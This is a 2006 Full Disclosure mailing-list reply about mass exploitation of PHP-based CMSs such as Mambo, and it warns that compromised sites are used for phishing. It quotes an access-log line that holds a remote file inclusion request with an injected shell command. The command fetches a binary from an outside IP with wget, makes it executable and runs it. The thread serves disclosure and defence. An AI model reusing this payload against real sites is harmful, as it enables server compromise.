Full Disclosure: Re: PHP-based CMS mass-exploitation

From: Paul Laudanski <zx_at_castlecops.com>
Date: Tue, 7 Mar 2006 16:01:26 -0500 (EST)

On Tue, 7 Mar 2006, Daniel Bonekeeper wrote:

> 83.84.14X.XXX - - [06/Mar/2006:18:18:12 -0500] "GET
> /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo|
> HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
> 5.1;)"
>
> --

I know you mention Mambo, I've seen at least one Mambo site get exploited
to running a phishing site. Mambo users need to upgrade to the latest
greatest, or at the least Mambo needs to fix their code. We need to stop
phishers taking advantage of what appears to be a Mambo weakness in its
caching.

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Received on Mar 08 2006